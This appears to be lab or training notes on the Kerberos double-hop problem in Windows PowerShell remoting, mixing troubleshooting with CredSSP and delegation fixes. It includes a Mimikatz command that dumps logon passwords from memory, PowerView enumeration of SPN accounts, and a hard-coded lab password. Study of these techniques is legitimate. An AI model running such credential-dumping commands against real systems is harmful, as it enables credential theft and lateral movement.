21.Kerberos Double Hop Problem
Overview
The Kerberos "Double Hop" problem occurs when a user authenticates to a remote system using Kerberos, but their credentials cannot be forwarded to a second system from that remote session. This is a common issue in scenarios involving WinRM, PowerShell remoting, and multi-tier authentication setups.
Scenario
A user attempts to connect from a local machine to DEV01 using PowerShell remoting. They then attempt to access a third system from DEV01, but authentication fails due to the Kerberos constraint.
Steps to Reproduce
Establish a WinRM Session to DEV01
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm
Change Directory
cd 'C:\Users\Public\'
Run Mimikatz to View Credentials (Requires Privileged Access)
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
List Processes for a Specific User
tasklist /V | findstr backupadm
Check Kerberos Ticket Cache
klist
Import PowerView Module
import-module .\PowerView.ps1
Enumerate Domain Users with SPNs
get-domainuser -spn
Create a Secure Credential Object
$SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)
Query Domain Users with SPNs Using Credentials
get-domainuser -spn -credential $Cred | select samaccountname
Register a New PSSession Configuration to Enable Credential Delegation
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential INLANEFREIGHT\backupadm
Restart WinRM Service
Restart-Service WinRM
Enter PSSession Using the Registered Configuration
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -ConfigurationName backupadmsess
Solution: CredSSP Authentication
To bypass the Kerberos double-hop issue, enable CredSSP Authentication, which allows credentials to be delegated securely.
Steps to Enable CredSSP
On the Client Machine
Enable-WSManCredSSP -Role Client -DelegateComputer DEV01
On the Remote Server (DEV01)
Enable-WSManCredSSP -Role Server
Run PowerShell Remoting with CredSSP
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -Authentication CredSSP
Verify CredSSP Configuration
Get-WSManCredSSP
Alternative Solution: Kerberos Constrained Delegation (KCD)
Instead of using CredSSP, Kerberos Constrained Delegation (KCD) can be configured for more secure credential forwarding. This requires modifying Active Directory settings to allow a service account to delegate authentication to specific services.
Conclusion
The Kerberos "Double Hop" issue is a common obstacle in multi-hop authentication scenarios. Enabling CredSSP or configuring Kerberos Constrained Delegation can help mitigate this issue while maintaining security.
Last updated